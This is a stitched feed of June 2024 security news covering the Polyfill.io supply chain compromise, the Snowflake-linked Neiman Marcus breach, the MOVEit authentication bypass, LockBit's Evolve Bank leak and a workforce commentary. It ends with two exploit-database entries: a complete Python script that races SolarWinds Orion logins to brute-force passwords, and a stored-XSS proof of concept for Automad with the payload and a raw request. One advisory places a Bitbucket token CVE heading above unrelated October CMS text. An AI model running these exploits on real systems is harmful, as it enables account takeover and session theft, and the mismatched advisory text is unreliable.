The site is supplying malicious code that delivers dynamically generated payloads and can lead to other attacks, after a Chinese organization bought it earlier this year.

Source: Bleakstar via Shutterstock

A domain that more than 100,000 websites use to deliver JavaScript code is now being used as a conduit for a Web supply chain attack that uses dynamically generated payloads, redirects users to pornographic and sports-betting sites, and can potentially lead to data theft, clickjacking, or other attacks. The malicious activity follows the sale of the domain polyfill\[.\]io to a Chinese organization earlier this year.

Security researchers are warning that the cdn\[.\]polyfill\[.\]io domain has been compromised to serve malicious code in scripts to end users in a widespread attack. The site allows websites to use modern JavaScript features in older browsers by including only the necessary polyfills based on the user's browser.

Researchers from security monitoring firm c/side sounded the alarm about the attack in an advisory by founder Simon Wijckmans warning website owners to "check your code for any use of the polyfill\[.\]io domain and remove it from your applications."

"This attack places an estimated +100k websites at immediate risk," he wrote. "When a once-safe domain is embedded in thousands of websites and concealed like JavaScript threats are, it becomes a tempting path for malicious actors."

**Dynamically Generated Payloads**

Specifically, researchers discovered malicious, obfuscated code that "dynamically generates payloads based on HTTP headers, activating only on specific mobile devices, evading detection, avoiding admin users, and delaying execution" being injected into devices via websites using cdn\[.\]polyfill\[.\]io, Wijckmans wrote.

"In some instances, users receive tampered JavaScript files, which include a fake Google Analytics link," he wrote. "This fake link redirects users to various sports betting and pornographic websites, seemingly based on their region."

Given that the malicious code is JavaScript, it also could "at any moment introduce new attacks like formjacking, clickjacking, and broader data theft," Wijkmans noted.

**Polyfill Users Were Forewarned**

Polyfill users were already clued in back in February of the potential for malicious activity and were advised to stop using the polyfill\[.\]io domain after it was purchased by Funnull, a Chinese company. Following the sale, the developer of the open source Polyfill project, Andrew Betts, urged users in a post on X to remove references to the content delivery network (CDN), in part because he never owned the site.

"I created the Polyfill service project but I have never owned the domain name and I have had no influence over its sale," he wrote.

A site called Pollykill was even created on Feb. 27 "to bring awareness to a major JavaScript supply chain vulnerability," since Polyfill was sold and all Polyfill traffic was pointed "to the Baishan Cloud CDN."

Pollykill also provides users with alternatives to using the site to deliver JavaScript to their websites, warning users of the "many risks associated with allowing an unknown foreign entity to manage and serve JavaScript within your web application."

"They can quietly observe user traffic, and if malicious intent were taken, they can potentially steal usernames, passwords and credit card information directly as users enter the information in the Web browser," according to the site.

**Immediate Action Required**

Supply chain attacks that compromise website scripts and other code that's used widely across applications or Web properties are serious business, which means anyone using Polyfill needs to take action now, Wijkmans said.

"Third-party resources are in a very powerful position and thus a high value target for bad actors," he wrote, adding that CDNs hosting third-party scripts are especially subject to attack.

However, one thing that's important to note is that "the Polyfill service itself is still solid," Wijkmans said. "You can host your own version in a safe and controlled environment without issue."

As the problem lies in the domain cdn\[.\]polyfill\[.\]io, it should immediately be removed from any site using it. Moreover, threat feeds currenty don't flag the domain, so administrators should not rely on that, Wijkmans added.

The Polykill website also advises developers to use a code search tool or integrated development environment (IDE) to search for instances of the malicious domain in source code across all projects within an organization. It cites resources by the developer community Fastly Connect that also can help them secure websites that use Polyfill; these include polyfill-fastly\[.\]net and polyfill-fastly\[.\]io, which are free drop-in replacements for polyfill\[.\]io in a website's code.

Fastly’s fork of the open source code 223 also can be used to self-host the service to maintain full control over the code delivered to users, according to Fastly.

**About the Author(s)**

Elizabeth Montalbano is a freelance writer, journalist, and therapeutic writing mentor with more than 25 years of professional experience. Her areas of expertise include technology, business, and culture. Elizabeth previously lived and worked as a full-time journalist in Phoenix, San Francisco, and New York City; she currently resides in a village on the southwest coast of Portugal. In her free time, she enjoys surfing, hiking with her dogs, traveling, playing music, yoga, and cooking.

Polyfill.io Supply Chain Attack Smacks Down 100K+ Websites

Bitbucket Branch Source Plugin 886.v44cf5e4ecec5 and earlier prints the Bitbucket OAuth access token as part of the Bitbucket URL in the build log in some cases.

Bitbucket Branch Source Plugin 887.va_d359b_3d2d8d does not include the Bitbucket OAuth access token as part of the Bitbucket URL in the build log.


Skip to content

**Navigation Menu**

*   *   Actions
        
        Automate any workflow
        
    *   Packages
        
        Host and manage packages
        
    *   Security
        
        Find and fix vulnerabilities
        
    *   Codespaces
        
        Instant dev environments
        
    *   GitHub Copilot
        
        Write better code with AI
        
    *   Code review
        
        Manage code changes
        
    *   Issues
        
        Plan and track work
        
    *   Discussions
        
        Collaborate outside of code
        
    

*   *   GitHub Sponsors
        
        Fund open source developers
        
    
    *   The ReadME Project
        
        GitHub community articles
        
    
*   *   Enterprise platform
        
        AI-powered developer platform
        
    
*   Pricing

**Provide feedback**

**Saved searches****Use saved searches to filter your results more quickly**

Sign up

1.  GitHub Advisory Database
2.  GitHub Reviewed
3.  CVE-2024-39460

**Bitbucket OAuth access token exposed in the build log by Bitbucket Branch Source Plugin**

Moderate severity GitHub Reviewed Published Jun 26, 2024 to the GitHub Advisory Database • Updated Jun 26, 2024

**Package**

maven org.jenkins-ci.plugins:cloudbees-bitbucket-branch-source (Maven)

**Affected versions**

<= 886.v44cf5e4ecec5

**Description**

Published to the GitHub Advisory Database

Jun 26, 2024

Last updated

Jun 26, 2024

GHSA-x8mf-jcmf-r79f: Bitbucket OAuth access token exposed in the build log by Bitbucket Branch Source Plugin 

### Impact

This advisory affects authenticated administrators who may be redirected to an untrusted URL using the PageFinder schema.  The resolver for the page finder link schema (`october://`) allowed external links, therefore allowing an open redirect outside the scope of the active host.

This vulnerability assumes a trusted user will attack another trusted user and cannot be actively exploited without access to the administration panel and interaction from the other user.

### Patches

This issue has been patched in v3.5.15.

### References

Credits to:
- [Benzetaa](https://github.com/benzetaa/)

### For more information
If you have any questions or comments about this advisory:
* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)

1.  GitHub Advisory Database
2.  GitHub Reviewed
3.  CVE-2024-24764

**October System module has an Open Redirect for Administrator Accounts**

Low severity GitHub Reviewed Published Jun 25, 2024 in octobercms/october

**Package**

composer october/system (Composer)

**Affected versions**

\>= 3.2, < 3.5.15

**Impact**

This advisory affects authenticated administrators who may be redirected to an untrusted URL using the PageFinder schema. The resolver for the page finder link schema (october://) allowed external links, therefore allowing an open redirect outside the scope of the active host.

This vulnerability assumes a trusted user will attack another trusted user and cannot be actively exploited without access to the administration panel and interaction from the other user.

**Patches**

This issue has been patched in v3.5.15.

**References**

Credits to:

*   Benzetaa

**For more information**

If you have any questions or comments about this advisory:

*   Email us at hello@octobercms.com

**References**

*   GHSA-v2vf-jv88-3fp5
*   https://nvd.nist.gov/vuln/detail/CVE-2024-24764

Published to the GitHub Advisory Database

Jun 26, 2024

GHSA-v2vf-jv88-3fp5: October System module has an Open Redirect for Administrator Accounts

The high-end retailer is the latest company to confirm it was affected by the wide-ranging Snowflake data breach, which impacted more than 165 organizations.

Source: mauritius images GmbH via Alamy Stock Photo

Luxury department store chain Neiman Marcus confirmed that nearly 65,000 customers were impacted by the theft of its database during recent attacks on the cloud-based data warehousing platform Snowflake.

In a notification filed with the Office of the Maine Attorney General, Neiman Marcus revealed it learned in May of the attack, part of a series of attacks on the data platform between April and May.

"Based on our investigation, the unauthorized third party obtained certain personal information stored in the database platform," Neiman Marcus cautioned in the statement.

As reported by Hackmanac, the attacker known as "Sp1d3r" allegedly sold the stolen information for $150,000 after accessing the company's Snowflake account credentials.  

"The types of personal information affected varied by individual, and included information such as name, contact information, date of birth, and Neiman Marcus or Bergdorf Goodman gift card number(s) (without gift card PINs)," the statement continued.

Overall, more than 70 million transactions, 50 million customer emails, and 12 million gift card numbers were up for sale, along with employee info, and customer shopping data.

With the Dallas-based department store catering to high-end customers, "Sp1d3r" was quick to mention the data included "High Value Rich Targets! Big Spenders!"

This is not the first time the company has been victim of a data breach. In an attack in May 2020, the personal information of around 4.6 million online customers was exposed.

Neiman Marcus became aware of the breach — and then notified those affected — only more than a year later.

**Strengthening MFA a Must**

The admission by Neiman Marcus is the latest fallout from the Snowflake breach reported earlier this month, which impacted data belonging to at least 165 organizations, including Ticketmaster and Santander Bank.

A Mandiant investigation into the account compromises revealed the breaches occurred due to customers failing to implement multifactor authentication (MFA) and proper access control.

The financially motivated threat actor was identified as UNC5537 and accessed accounts using valid credentials obtained from other sources.

Dirk Schrader, vice president of security research at Netwrix, says organizations should embrace the use of MFA and password management solutions, implement a just-in-time privilege approach to identity security, and ensure detailed monitoring.

"MFA ensures another level of identification between a malicious actor and access to an organization's system, making it much more difficult to compromise identities," he explains.

A password-management solution helps ensure the use of complex, hard-to-crack passwords in place, restricts reusing passwords for multiple accounts, and relieves users from the burden of remembering them.

"For sensitive systems, organizations should go for just-in-time access management so that accounts only exist as long as they are needed, drastically reducing an attacker's options for credential abuse," Schrader adds.

Gunnar Braun, technical manager at Synopsys Software Integrity Group, says the incident demonstrates that literally every company is a potential target for an attack, and every organization that stores data in any shape or form must take measures to protect that data.

"Retailers are likely an easier target, as they are not subject to strict security regulations and often have a lower IT investment," he says.

He says for Neiman Marcus — and all other Snowflake customers — it comes down to protecting their credentials, like everyone should do for their PayPal, Gmail, and any other accounts.

Darren Williams, CEO and founder of BlackFog, warns the long-term effects of the breaches is unfortunate for customers, given how data is often leveraged for many years to come and sold on the Dark Web.

"The fact that Neimans failed to pay the ransom, while a good approach, has forced the attackers to make revenue other ways by selling the data online and targeting individuals," he says. "Unfortunately, most organizations are still unprepared to deal with these types of attacks."

**About the Author(s)**

Nathan Eddy is a freelance journalist and award-winning documentary filmmaker specializing in IT security, autonomous vehicle technology, customer experience technology, and architecture and urban planning. A graduate of Northwestern University’s Medill School of Journalism, Nathan currently lives in Berlin, Germany.

Neiman Marcus Customers Impacted by Snowflake Data Breach

Affected devices could include wireless access points, routers, switches and VPNs.

Multiple vulnerabilities in TP-Link Omada system could lead to root access

A newly disclosed critical security flaw impacting Progress Software MOVEit Transfer is already seeing exploitation attempts in the wild shortly after details of the bug were publicly disclosed.
The vulnerability, tracked as CVE-2024-5806 (CVSS score: 9.1), concerns an authentication bypass that impacts the following versions -

From 2023.0.0 before 2023.0.11
From 2023.1.0 before 2023.1.6, and&

Vulnerability / Data Protection

A newly disclosed critical security flaw impacting Progress Software MOVEit Transfer is already seeing exploitation attempts in the wild shortly after details of the bug were publicly disclosed.

The vulnerability, tracked as CVE-2024-5806 (CVSS score: 9.1), concerns an authentication bypass that impacts the following versions -

*   From 2023.0.0 before 2023.0.11
*   From 2023.1.0 before 2023.1.6, and
*   From 2024.0.0 before 2024.0.2

"Improper authentication vulnerability in Progress MOVEit Transfer (SFTP module) can lead to Authentication Bypass," the company said in an advisory released Tuesday.

Progress has also addressed another critical SFTP-associated authentication bypass vulnerability (CVE-2024-5805, CVSS score: 9.1) affecting MOVEit Gateway version 2024.0.0.

Successful exploitation of the flaws could allow attackers to bypass SFTP authentication and gain access to MOVEit Transfer and Gateway systems.

watchTowr Labs has since published additional technical specifics about CVE-2024-5806, with security researchers Aliz Hammond and Sina Kheirkhah noting that it could be weaponized to impersonate any user on the server.

The cybersecurity company further described the flaw as comprising two separate vulnerabilities, one in Progress MOVEit and the other in the IPWorks SSH library.

"While the more devastating vulnerability, the ability to impersonate arbitrary users, is unique to MOVEit, the less impactful (but still very real) forced authentication vulnerability is likely to affect all applications that use the IPWorks SSH server," the researchers said.

Progress Software said the shortcoming in the third-party component "elevates the risk of the original issue" if left unpatched, urging customers to follow the below two steps -

*   Block public inbound RDP access to MOVEit Transfer server(s)
*   Limit outbound access to only known trusted endpoints from MOVEit Transfer server(s)

According to Rapid7, there are three prerequisites to leveraging CVE-2024-5806: Attackers need to have knowledge of an existing username, the target account can authenticate remotely, and the SFTP service is publicly accessible over the internet.

As of June 25, data gathered by Censys shows that there are around 2,700 MOVEit Transfer instances online, most of them located in the U.S., the U.K., Germany, the Netherlands, Canada, Switzerland, Australia, France, Ireland, and Denmark.

With another critical issue in MOVEit Transfer widely abused in a spate of Cl0p ransomware attacks last year (CVE-2023-34362, CVSS score: 9.8), it's essential that users move quickly to update to the latest versions.

The development comes as the U.S. Cybersecurity and Infrastructure Security Agency (CISA) revealed that its Chemical Security Assessment Tool (CSAT) was targeted earlier this January by an unknown threat actor by taking advantage of security flaws in the Ivanti Connect Secure (ICS) appliance (CVE-2023-46805, CVE-2024-21887, and CVE-2024-21893).

"This intrusion may have resulted in the potential unauthorized access of Top-Screen surveys, Security Vulnerability Assessments, Site Security Plans, Personnel Surety Program (PSP) submissions, and CSAT user accounts," the agency said, adding it found no evidence of data exfiltration.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

New MOVEit Transfer Vulnerability Under Active Exploitation - Patch ASAP!

LockBit claimed to have breached Federal Reserve but in fact the data came from Evolve Bank & Trust

A shockwave went through the financial world when ransomware group LockBit claimed to have breached the US Federal Reserve, the central banking system of the United States.

On LockBit’s dark web leak site, the group threatened to release over 30 TB of banking information containing Americans’ banking data if a ransom wasn’t paid by June 25:

LockBit leak site

> “Federal banking is the term for the way the Federal Bank of America distributes its money. The Reserve operates twelve banking districts around the country which oversee money distribution within their respective districts. The twelve cities which are home to the Reserve Banks are Boston, New York City, Philadelphia, Richmond, Atlanta, Dallas, Saint Louis, Cleveland, Chicago, Minneapolis, Kansas City and San Francisco.
> 
> 33 terabytes of juicy banking information containing American’s banking secrets.”

The statement ends expressing the group’s disappointment about a negotiator who apparently offered to pay $50,000.

So, you can imagine that everyone was anticipating the end of the countdown that signalled the release of the stolen data with bated breath.

However, when that deadline passed and the data was released, people who looked at the data found it did not, in fact, belong to the Federal Reserve but instead to a particular financial organization: Evolve Bank & Trust.

Overview of the available data

All the links lead to directories containing data that seems to belong to Evolve.

There hasn’t been enough time to do a full analysis of the huge amount of data, but it appears it is only remotely tied to the Federal Reserve by some included links to a Federal Reserve press link from mid-June.

At that time, the US Federal Reserve Board penalized Evolve Bancorp and its subsidiary, Evolve Bank & Trust, for multiple “deficiencies” in the bank’s risk management, anti-money laundering (AML) and compliance practices.

According to the Federal Reserve statement released at the time:

> “In addition, Evolve did not maintain an effective risk management program or controls sufficient to comply with anti-money laundering laws and laws protecting consumers.”

So, as expected, LockBit drew a lot of attention under false pretences.

The group was disrupted by law enforcement in February of 2024 and their activity diminished as a result. As the ThreatDown monthly ransomware review of May review pointed out:

> “While LockBit is technically still alive, it’s fair to say the group is not what it was: Not only are its attacks dwindling, but in early May law enforcement also revealed the identity of alleged LockBit leader Dmitry Khoroshev, aka LockBitSupp. LockBitSupp, who is now subjected to a series of asset freezes and travel bans, also has a reward of up to $10 million over his head for information that leads to his arrest.”

And recently the FBI announced it had over 7,000 LockBit decryption keys in its possession, allowing it to help victims to recover data encrypted by the gang in past attacks. LockBit ransomware has impacted over 1,800 US victims, according to FBI stats.

Back to the data, it’s good news it appears not to be from the Federal Reserve. However, it’s not good news for customers of Evolve Bank & Trust and their data may well have been stolen and published. And it’s a lot of data.

A lot of data

We’ll keep you updated on this developing story. For now, there’s no official statement from Evolve, but there are general things to know if you think you have been involved in a data breach.

**Protecting yourself after a data breach**

There are some actions you can take if you are, or suspect you may have been, the victim of a data breach.

*   **Check the vendor’s advice.** Every breach is different, so check with the vendor to find out what’s happened, and follow any specific advice they offer.
*   **Change your password.** You can make a stolen password useless to thieves by changing it. Choose a strong password that you don’t use for anything else. Better yet, let a password manager choose one for you.
*   **Enable two-factor authentication (2FA).** If you can, use a FIDO2-compliant hardware key, laptop or phone as your second factor. Some forms of two-factor authentication (2FA) can be phished just as easily as a password. 2FA that relies on a FIDO2 device can’t be phished.
*   **Watch out for fake vendors.** The thieves may contact you posing as the vendor. Check the vendor website to see if they are contacting victims, and verify the identity of anyone who contacts you using a different communication channel.
*   **Take your time.** Phishing attacks often impersonate people or brands you know, and use themes that require urgent attention, such as missed deliveries, account suspensions, and security alerts.
*   **Consider not storing your card details**. It’s definitely more convenient to get sites to remember your card details for you, but we highly recommend not storing that information on websites.
*   **Set up identity monitoring.** Identity monitoring alerts you if your personal information is found being traded illegally online, and helps you recover after.

Malwarebytes has a new free tool for you to check how much of your personal data has been exposed online. Submit your email address (it’s best to give the one you most frequently use) to our free Digital Footprint scan and we’ll give you a report and recommendations.

**We don’t just report on threats – we help safeguard your entire digital identit**y

Cybersecurity risks should never spread beyond a headline. Protect your—and your family’s—personal information by using identity protection.

 Federal Reserve &#8220;breached&#8221; data may actually belong to Evolve Bank 

Our adversaries certainly have diversity — so cybersecurity teams need it, too.

Lynn Dohm, Executive Director, Women in Cybersecurity

June 26, 2024

4 Min Read

Source: Kjetil Kolbjørnsrud via Alamy Stock Photo

COMMENTARY

While some may consider the Diverse Cybersecurity Workforce Act as intended primarily to improve diversity in a workforce dominated by white men, that attitude ignores the real security risk that exists due to the lack of different perspectives brought by women and underrepresented communities. The lack of diversity creates a groupthink mindset, causing people to set aside personal beliefs and/or simply adopt the opinion of the group, which creates the illusion of invulnerability. We need to solve challenges that have never previously existed; to do that, we not only need all genders, but identities, ethnicities, races, cultures, ages, backgrounds, and experiences. The adversaries certainly have diversity — and cybersecurity teams need it, too.

**Building a Pipeline of Diverse Skills**

Ensuring the cybersecurity workforce becomes more diverse isn't possible without building a talent pipeline that looks like the world around us. That pipeline must be created by tapping into underrepresented communities. The Diverse Cybersecurity Workforce Act offers the Cybersecurity and Infrastructure Security Agency (CISA) a way to create a structure that supports these efforts through intentional resources and programming designed to empower individuals to:

*   Explore cybersecurity careers
    

*   Elevate those with aptitude, grit, and determination
    
*   Build real-world cyber skills and launch careers
    

The next step is to create inclusive spaces for cybersecurity training and offer services that champion and drive impactful programming efforts, including incentives for students/career changers, mentorship, and career placement. This act presents an opportunity to bring underrepresented individuals into lucrative, life-changing careers, and it's our best chance at mitigating current and future security risks, as well as ensuring the cyber workforce achieves greater diversity across sectors. 

**Timeline and Funding**

Last year, Gartner predicted that nearly half of cybersecurity leaders would change jobs by 2025, and 25% of those leaving would find different roles due to the stress of working in cyber. Meanwhile, ISC2's 2023 Cybersecurity Workforce Study showed the industry was already struggling with a record workforce gap of 4 million. Adding new talent to the cybersecurity workforce has never been more urgent. CISA must create very intentional programming that provides accessibility programs and opportunities for disadvantaged communities. By including mentorship, peer support, community engagement, check-in calls, career services, and "ask me anything" sessions, alongside high-quality skills training, it is achievable to lift people from zero cybersecurity skills into careers in a year and a half or less. 

These efforts must be started immediately, ideally by using a turn-key programming effort that has already been shown to make a strong jobs impact on employers and career changers. The $20 million per year budget is enough to make an impact; Women in Cybersecurity (WiCyS) invested $1.8 million to allow 2,900 women to explore cybersecurity careers and enabled 181 to achieve multiple advanced SANS GIAC certifications with career placement services that positioned them for success in the workforce on day one at their new cyber job. WiCyS has supported career changers in pivoting from teaching to pen testing, physical therapy to cloud security, and so much more. While WiCyS focuses on the recruitment, retention, and advancement of women, our experience shows these efforts successfully increase diversity, equity, and inclusion in the workforce. 

**Barriers to Retention**

The act is focused on getting diverse talent into cybersecurity, but what about getting them to stay? Any effort by government agencies and organizations to hire a diverse workforce must address the barriers to retention and overcome them. The "2023 State of Inclusion Benchmark in Cybersecurity" report, conducted by WiCyS in collaboration with DEI firm Aleria, showed that workplace experiences are dramatically worse for women than for men. 

Across all experience categories, women were excluded at a rate two times higher than men, citing their direct managers and peers as sources of experiences that interfered with their job satisfaction and ability to perform their best work. Women's second source of exclusion was the lack of career growth and advancement, contributing to them experiencing a glass ceiling just six to 10 years into their career, despite 46% of women in the field holding advanced degrees. Given these challenges, it's not surprising that an Accenture report showed that half of young women in tech leave the field by 35. 

**Retention Is Driven by Inclusion **

When diverse talent joins the cyber workforce, there must be programs in place that create more inclusive communities. That means looking at common ways that underrepresented individuals are excluded and addressing those issues openly, including: 

*   Underappreciating skills and experience from underrepresented groups
    
*   Failing to recognize the contributions of individuals appropriately
    
*   Requesting or expecting disadvantaged individuals to do menial tasks unrelated to their role
    
*   Assuming underrepresented individuals were only hired, promoted, or included in a project to give the appearance of equality
    
*   Generally disrespectful and sexually inappropriate behaviors
    
*   Social exclusion activities
    
*   Lack of career growth and advancement opportunities
    

To create an inclusive culture, organizations must ensure that diverse talent has a community and support structures within the organization designed to promote learning and career growth. Without a plan to create this inclusion and growth, organizations lose their diversity hires, leading to higher recruitment expenses and ongoing cyber-workforce gaps. Inclusion, quite simply, is vital for building and retaining a diverse workforce and addressing evolving cybersecurity risks.

**About the Author(s)**

Executive Director, Women in Cybersecurity

Lynn Dohm brings more than 25 years of organizational and leadership experience to the Women in CyberSecurity (WiCyS) team. Lynn is passionate about the need for diverse mindsets, skill sets, and perspectives. She aims to facilitate learning opportunities and discussions on leading with inclusion, equity, and allyship. She has collaborated with businesses, nonprofits, grants, and philanthropies to help produce outcomes aligned with cybersecurity workforce initiatives.

Diverse Cybersecurity Workforce Act Offers More Than Diversity Benefits

SolarWinds Platform version 2024.1 SR1 suffers from a race condition vulnerability.

    # Exploit Title: SolarWinds Platform 2024.1 SR1 - Race Condition# CVE: CVE-2024-28999# Affected Versions: SolarWinds Platform 2024.1 SR 1 and previous versions# Author: Elhussain Fathy, AKA 0xSphinximport requestsimport urllib3import asyncioimport aiohttpurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)http = urllib3.PoolManager(cert_reqs='CERT_REQUIRED')# host = '192.168.1.1'# username = "admin"# file_path = "passwords.txt"host = input("Enter the host: ")username = input("Enter the username: ")file_path = input("Enter the passwords file path: ")exploited = 0url = f"https://{host}:443/Orion/Login.aspx?ReturnUrl=%2F"passwords = []with open(file_path, 'r') as file:    for line in file:        word = line.strip()        passwords.append(word)print(f"Number of tested passwords: {len(passwords)}")headers = {    'Host': host,}sessions = []for _ in range(len(passwords)):    response = requests.get(url, headers=headers, verify=False, stream=False)    cookies = response.headers.get('Set-Cookie', '')    session_id = cookies.split('ASP.NET_SessionId=')[1].split(';')[0]    sessions.append(session_id)async def send_request(session, username, password):    headers = {        'Host': host,          'Content-Type': 'application/x-www-form-urlencoded',        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',        'Cookie': f'ASP.NET_SessionId={session}; TestCookieSupport=Supported; Orion_IsSessionExp=TRUE',    }    data = f'__EVENTTARGET=ctl00%24BodyContent%24LoginButton&__EVENTARGUMENT=&__VIEWSTATE=AEQKNijmHeR5jZhMrrXSjzPRqhTz%2BoTqkfNmc3EcMLtc%2FIjqS37FtvDMFn83yUTgHBJIlMRHwO0UVUVzwcg2cO%2B%2Fo2CEYGVzjB1Ume1UkrvCOFyR08HjFGUJOR4q9GX0fmhVTsvXxy7A2hH64m5FBZTL9dfXDZnQ1gUvFp%2BleWgLTRssEtTuAqQQxOLA3nQ6n9Yx%2FL4QDSnEfB3b%2FlSWw8Xruui0YR5kuN%2BjoOH%2BEC%2B4wfZ1%2BCwYOs%2BLmIMjrK9TDFNcWTUg6HHiAn%2By%2B5wWpsj7qiJG3%2F1uhWb8fFc8Mik%3D&__VIEWSTATEGENERATOR=01070692&ctl00%24BodyContent%24Username={username}&ctl00%24BodyContent%24Password={password}'    async with aiohttp.ClientSession() as session:        async with session.post(url, headers=headers, data=data, ssl=False, allow_redirects=False) as response:            if response.status == 302:                global exploited                exploited = 1                print(f"Exploited Successfully Username: {username}, Password: {password}")async def main():    tasks = []    for i in range(len(passwords)):        session = sessions[i]        password = passwords[i]        task = asyncio.create_task(send_request(session, username, password))        tasks.append(task)    await asyncio.gather(*tasks)asyncio.run(main())if(not exploited):    print("Exploitation Failed")

SolarWinds Platform 2024.1 SR1 Race Condition

Automad version 2.0.0-alpha.4 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Automad 2.0.0-alpha.4 - Stored Cross-Site Scripting (XSS)# Date: 20-06-2024# Exploit Author: Jerry Thomas (w3bn00b3r)# Vendor Homepage: https://automad.org# Software Link: https://github.com/marcantondahmen/automad# Category: Web Application [Flat File CMS]# Version: 2.0.0-alpha.4# Tested on: Docker version 26.1.4, build 5650f9b | Debian GNU/Linux 11(bullseye)# DescriptionA persistent (stored) cross-site scripting (XSS) vulnerability has beenidentified in Automad 2.0.0-alpha.4. This vulnerability enables an attackerto inject malicious JavaScript code into the template body. The injectedcode is stored within the flat file CMS and is executed in the browser ofany user visiting the forum. This can result in session hijacking, datatheft, and other malicious activities.# Proof-of-Concept*Step-1:* Login as Admin & Navigate to the endpointhttp://localhost/dashboard/home*Step-2:* There will be a default Welcome page. You will find an option toedit it.*Step-3:* Navigate to Content tab orhttp://localhost/dashboard/page?url=%2F&section=text & edit the block named***`Main`****Step-4:* Enter the XSS Payload - <img src=x onerror=alert(1)>*Request:*POST /_api/page/data HTTP/1.1Host: localhostContent-Length: 1822User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryzHmXQBdtZsTYQYCvAccept: */*Origin: http://localhostReferer: http://localhost/dashboard/page?url=%2F&section=textAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie:Automad-8c069df52082beee3c95ca17836fb8e2=d6ef49301b4eb159fbcb392e5137f6cbConnection: close------WebKitFormBoundaryzHmXQBdtZsTYQYCvContent-Disposition: form-data; name="__csrf__"49d68bc08cca715368404d03c6f45257b3c0514c7cdf695b3e23b0a4476a4ac1------WebKitFormBoundaryzHmXQBdtZsTYQYCvContent-Disposition: form-data; name="__json__"{"data":{"title":"Welcome","+hero":{"blocks":[{"id":"KodzL-KvSZcRyOjlQDYW9Md2rGNtOUph","type":"paragraph","data":{"text":"Testingforxss","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}},{"id":"bO_fxLKL1LLlgtKCSV_wp2sJQkXAsda8","type":"paragraph","data":{"text":"<h1>XSSidentified byJerry</h1>","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}}],"automadVersion":"2.0.0-alpha.4"},"+main":{"blocks":[{"id":"lD9sUJki6gn463oRwjcY_ICq5oQPYZVP","type":"paragraph","data":{"text":"Youhave successfully installed Automad 2.<br><br><img src=xonerror=alert(1)><br>","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}},{"id":"NR_n3XqFF94kfN0jka5XGbi_-TBEf9ot","type":"buttons","data":{"primaryText":"VisitDashboard","primaryLink":"/dashboard","primaryStyle":{"borderWidth":"2px","borderRadius":"0.5rem","paddingVertical":"0.5rem","paddingHorizontal":"1.5rem"},"primaryOpenInNewTab":false,"secondaryText":"","secondaryLink":"","secondaryStyle":{"borderWidth":"2px","borderRadius":"0.5rem","paddingHorizontal":"1.5rem","paddingVertical":"0.5rem"},"secondaryOpenInNewTab":true,"justify":"start","gap":"1rem"},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}}],"automadVersion":"2.0.0-alpha.4"}},"theme_template":"project","dataFetchTime":"1718911139","url":"/"}------WebKitFormBoundaryzHmXQBdtZsTYQYCv--*Response:*HTTP/1.1 200 OKServer: nginx/1.24.0Date: Thu, 20 Jun 2024 19:17:35 GMTContent-Type: application/json; charset=utf-8Connection: closeX-Powered-By: PHP/8.3.6Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheContent-Length: 30`{"code":200,"time":1718911055}*Step-5:* XSS triggers when you go to homepage - http://localhost/

Tag

#auth